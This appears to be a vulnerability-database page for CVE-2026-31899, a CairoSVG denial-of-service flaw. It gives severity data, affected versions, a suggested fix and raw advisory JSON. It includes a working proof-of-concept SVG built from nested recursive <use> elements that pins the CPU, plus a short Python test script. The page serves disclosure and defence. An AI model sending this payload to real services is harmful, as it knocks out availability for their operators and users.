Vulnerability-Lookup

GHSA-F38F-5XPM-9R7C

Vulnerability from github – Published: 2026-03-13 18:57 – Updated: 2026-04-15 21:09

Summary

CairoSVG vulnerable to Exponential DoS via recursive <use> element amplification

Details

Summary

Kozea/CairoSVG (~300K downloads/week) has exponential denial of service via recursive <use> element amplification in cairosvg/defs.py (line ~335). This causes CPU exhaustion from a small input.

Severity

High — CVSS 3.1: 7.5 Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Vulnerable Code

File: cairosvg/defs.py (line ~335), function use()

The use() function recursively processes <use> elements without any depth or count limits. With 5 levels of nesting and 10 references each, a 1,411-byte SVG triggers 10^5 = 100,000 render calls.

Impact

1,411-byte SVG payload pins CPU at 100% indefinitely
Memory stays flat at ~43MB — no OOM kill, process never terminates
Any service accepting SVG input (thumbnailing, PDF generation, avatar rendering) is DoS-able
Amplification factor: O(10^N) rendering calls from O(N) input

Proof of Concept

Save as poc.svg and run timeout 10 cairosvg poc.svg -o test.png:

<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <defs>
    <g id="a"><rect width="1" height="1"/></g>
    <g id="b"><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/></g>
    <g id="c"><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/></g>
    <g id="d"><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/></g>
    <g id="e"><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/></g>
  </defs>
  <use xlink:href="#e"/>
</svg>

Expected: timeout kills the process after 10 seconds (it never completes on its own).

Alternatively test with Python:

import cairosvg, signal
signal.alarm(5)  # Kill after 5 seconds
try:
    cairosvg.svg2png(bytestring=open("poc.svg").read())
except:
    print("[!!!] CONFIRMED: CPU exhaustion — process did not complete in 5s")

Suggested Fix

Add recursion depth counter to use() function. Cap at e.g. 10 levels. Also add total element budget to prevent amplification.

References

CWE-400

Credit

Kai Aizen (SnailSploit) — Adversarial AI & Security Research

Severity ?

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.8.2"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "CairoSVG"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.9.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-31899"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-13T18:57:31Z",
    "nvd_published_at": "2026-03-13T19:54:38Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nKozea/CairoSVG (~300K downloads/week) has exponential denial of service via recursive `\u003cuse\u003e` element amplification in `cairosvg/defs.py` (line ~335). This causes CPU exhaustion from a small input.\n\n## Severity\n\nHigh \u2014 CVSS 3.1: 7.5\nVector: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`\n\n## Vulnerable Code\n\nFile: `cairosvg/defs.py` (line ~335), function `use()`\n\nThe `use()` function recursively processes `\u003cuse\u003e` elements without any depth or count limits. With 5 levels of nesting and 10 references each, a 1,411-byte SVG triggers 10^5 = 100,000 render calls.\n\n## Impact\n\n- 1,411-byte SVG payload pins CPU at 100% indefinitely\n- Memory stays flat at ~43MB \u2014 no OOM kill, process never terminates\n- Any service accepting SVG input (thumbnailing, PDF generation, avatar rendering) is DoS-able\n- Amplification factor: O(10^N) rendering calls from O(N) input\n\n## Proof of Concept\n\nSave as `poc.svg` and run `timeout 10 cairosvg poc.svg -o test.png`:\n\n```xml\n\u003c?xml version=\"1.0\"?\u003e\n\u003csvg xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\"\u003e\n  \u003cdefs\u003e\n    \u003cg id=\"a\"\u003e\u003crect width=\"1\" height=\"1\"/\u003e\u003c/g\u003e\n    \u003cg id=\"b\"\u003e\u003cuse xlink:href=\"#a\"/\u003e\u003cuse xlink:href=\"#a\"/\u003e\u003cuse xlink:href=\"#a\"/\u003e\u003cuse xlink:href=\"#a\"/\u003e\u003cuse xlink:href=\"#a\"/\u003e\u003cuse xlink:href=\"#a\"/\u003e\u003cuse xlink:href=\"#a\"/\u003e\u003cuse xlink:href=\"#a\"/\u003e\u003cuse xlink:href=\"#a\"/\u003e\u003cuse xlink:href=\"#a\"/\u003e\u003c/g\u003e\n    \u003cg id=\"c\"\u003e\u003cuse xlink:href=\"#b\"/\u003e\u003cuse xlink:href=\"#b\"/\u003e\u003cuse xlink:href=\"#b\"/\u003e\u003cuse xlink:href=\"#b\"/\u003e\u003cuse xlink:href=\"#b\"/\u003e\u003cuse xlink:href=\"#b\"/\u003e\u003cuse xlink:href=\"#b\"/\u003e\u003cuse xlink:href=\"#b\"/\u003e\u003cuse xlink:href=\"#b\"/\u003e\u003cuse xlink:href=\"#b\"/\u003e\u003c/g\u003e\n    \u003cg id=\"d\"\u003e\u003cuse xlink:href=\"#c\"/\u003e\u003cuse xlink:href=\"#c\"/\u003e\u003cuse xlink:href=\"#c\"/\u003e\u003cuse xlink:href=\"#c\"/\u003e\u003cuse xlink:href=\"#c\"/\u003e\u003cuse xlink:href=\"#c\"/\u003e\u003cuse xlink:href=\"#c\"/\u003e\u003cuse xlink:href=\"#c\"/\u003e\u003cuse xlink:href=\"#c\"/\u003e\u003cuse xlink:href=\"#c\"/\u003e\u003c/g\u003e\n    \u003cg id=\"e\"\u003e\u003cuse xlink:href=\"#d\"/\u003e\u003cuse xlink:href=\"#d\"/\u003e\u003cuse xlink:href=\"#d\"/\u003e\u003cuse xlink:href=\"#d\"/\u003e\u003cuse xlink:href=\"#d\"/\u003e\u003cuse xlink:href=\"#d\"/\u003e\u003cuse xlink:href=\"#d\"/\u003e\u003cuse xlink:href=\"#d\"/\u003e\u003cuse xlink:href=\"#d\"/\u003e\u003cuse xlink:href=\"#d\"/\u003e\u003c/g\u003e\n  \u003c/defs\u003e\n  \u003cuse xlink:href=\"#e\"/\u003e\n\u003c/svg\u003e\n```\n\nExpected: `timeout` kills the process after 10 seconds (it never completes on its own).\n\nAlternatively test with Python:\n```python\nimport cairosvg, signal\nsignal.alarm(5)  # Kill after 5 seconds\ntry:\n    cairosvg.svg2png(bytestring=open(\"poc.svg\").read())\nexcept:\n    print(\"[!!!] CONFIRMED: CPU exhaustion \u2014 process did not complete in 5s\")\n```\n\n## Suggested Fix\n\nAdd recursion depth counter to `use()` function. Cap at e.g. 10 levels. Also add total element budget to prevent amplification.\n\n## References\n\n- [CWE-400](https://cwe.mitre.org/data/definitions/400.html)\n\n## Credit\n\nKai Aizen (SnailSploit) \u2014 Adversarial AI \u0026 Security Research",
  "id": "GHSA-f38f-5xpm-9r7c",
  "modified": "2026-04-15T21:09:46Z",
  "published": "2026-03-13T18:57:31Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Kozea/CairoSVG/security/advisories/GHSA-f38f-5xpm-9r7c"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Kozea/CairoSVG/commit/6dde8685ed3f19837767bce7a13a5491e3d0e0bf"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Kozea/CairoSVG"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "CairoSVG vulnerable to Exponential DoS via recursive \u003cuse\u003e element amplification"
}

CVE-2026-31899 (GCVE-0-2026-31899)

Vulnerability from cvelistv5 – Published: 2026-03-13 19:38 – Updated: 2026-03-16 13:39

Title

CairoSVG vulnerable to Exponential DoS via recursive <use> element amplification

Summary

CairoSVG is an SVG converter based on Cairo, a 2D graphics library. Prior to Kozea/CairoSVG has exponential denial of service via recursive <use> element amplification in cairosvg/defs.py. This causes CPU exhaustion from a small input.

Severity ?

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CWE

CWE-674 - Uncontrolled Recursion

Assigner

GitHub_M

References

URL

Tags

	https://github.com/Kozea/CairoSVG/security/adviso…	x_refsource_CONFIRM
	https://github.com/Kozea/CairoSVG/commit/6dde8685…	x_refsource_MISC

Impacted products

	Vendor	Product	Version
	Kozea	CairoSVG	Affected: < 2.9.0

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-31899",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-03-16T13:37:56.879562Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-03-16T13:39:14.684Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "CairoSVG",
          "vendor": "Kozea",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 2.9.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "CairoSVG is an SVG converter based on Cairo, a 2D graphics library. Prior to Kozea/CairoSVG has exponential denial of service via recursive \u003cuse\u003e element amplification in cairosvg/defs.py. This causes CPU exhaustion from a small input."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-674",
              "description": "CWE-674: Uncontrolled Recursion",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-03-13T19:38:43.990Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/Kozea/CairoSVG/security/advisories/GHSA-f38f-5xpm-9r7c",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/Kozea/CairoSVG/security/advisories/GHSA-f38f-5xpm-9r7c"
        },
        {
          "name": "https://github.com/Kozea/CairoSVG/commit/6dde8685ed3f19837767bce7a13a5491e3d0e0bf",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/Kozea/CairoSVG/commit/6dde8685ed3f19837767bce7a13a5491e3d0e0bf"
        }
      ],
      "source": {
        "advisory": "GHSA-f38f-5xpm-9r7c",
        "discovery": "UNKNOWN"
      },
      "title": "CairoSVG vulnerable to Exponential DoS via recursive \u003cuse\u003e element amplification"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-31899",
    "datePublished": "2026-03-13T19:38:43.990Z",
    "dateReserved": "2026-03-09T21:59:02.689Z",
    "dateUpdated": "2026-03-16T13:39:14.684Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

GHSA-F38F-5XPM-9R7C

Summary

Severity

Vulnerable Code

Impact

Proof of Concept

Suggested Fix

References

Credit

CVE-2026-31899 (GCVE-0-2026-31899)

Tags

Sightings

Nomenclature